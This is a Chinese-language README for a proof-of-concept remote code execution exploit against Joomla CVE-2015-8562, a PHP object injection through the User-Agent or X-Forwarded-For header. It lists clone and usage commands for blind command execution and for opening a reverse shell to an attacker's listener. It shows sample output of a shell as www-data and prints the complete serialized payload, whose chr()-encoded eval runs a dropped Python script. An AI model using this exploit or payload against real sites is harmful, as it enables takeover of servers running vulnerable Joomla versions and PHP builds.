
Joomla的CVE-2015-8562漏洞的概念验证(对象注入远程代码执行)
Joomla CVE-2015-8562 漏洞的概念验证(对象注入远程代码执行)
该 PoC 是托管在 exploit-db 上的实现的第二个版本。
-修复(重新生成会话)
-添加了从 X-Forwarded-For 切换到 User-Agent 方法的选项
-添加了从 Python 反向 shell 切换到 bash 的选项
-添加了对缺少 http 架构和脚本终止异常的捕获
-为更好的使用体验、更好的消息和颜色进行了编辑
-TODO: 添加 msf 支持
git clone https://github.com/VoidSec/Joomla_CVE-2015-8562.git
cd Joomla_CVE-2015-8562
盲远程代码执行:
python joomla-cve-2015-8562.py -t http://<target_ip>/ --cmd
$ touch /tmp/test
生成反向 shell:
python joomla-cve-2015-8562.py -t http://<target_ip>/ -l <local_ip> -p <local_port>
[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://<target_ip>/
[-] Uploading python reverse shell
<Response [200]>
[+] Spawning reverse shell....
<Response [200]>
Listening on [0.0.0.0] (family 0, port 1337)
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
2015年12月,Joomla中发现了一个新漏洞。它允许远程攻击者通过HTTP User-Agent头部利用PHP对象注入攻击并执行任意PHP代码。
该漏洞影响Joomla 1.5.0至3.4.5版本以及PHP版本低于5.4.45(包括5.3.x)、5.5.29或5.6.13的版本 CVE-2015-6835。
我写了一篇博客文章来解释这个漏洞。
}__test|O:21:"JDatabaseDriverMysqli":3:{
s:2:"fc";
O:17:"JSimplepieFactory":0:{}
s:21:"\0\0\0disconnectHandlers";
a:1:{
i:0;
a:2:{
i:0;
O:9:"SimplePie":5:{
s:8:"sanitize";
O:20:"JDatabaseDriverMysql":0:{}
s:8:"feed_url";
s:305:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(112).chr(121).chr(116).chr(104).chr(111).chr(110).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(76).chr(56).chr(51).chr(55).chr(66).chr(72).chr(46).chr(112).chr(121).chr(39).chr(41).chr(59));
JFactory::getConfig();
exit";
s:19:"cache_name_function";
s:6:"assert";
s:5:"cache";
b:1;s:11:"cache_class";
O:20:"JDatabaseDriverMysql":0:{}
}
i:1;
s:4:"init";
}
}
s:13:"\0\0\0connection";
b:1;
}ýýýý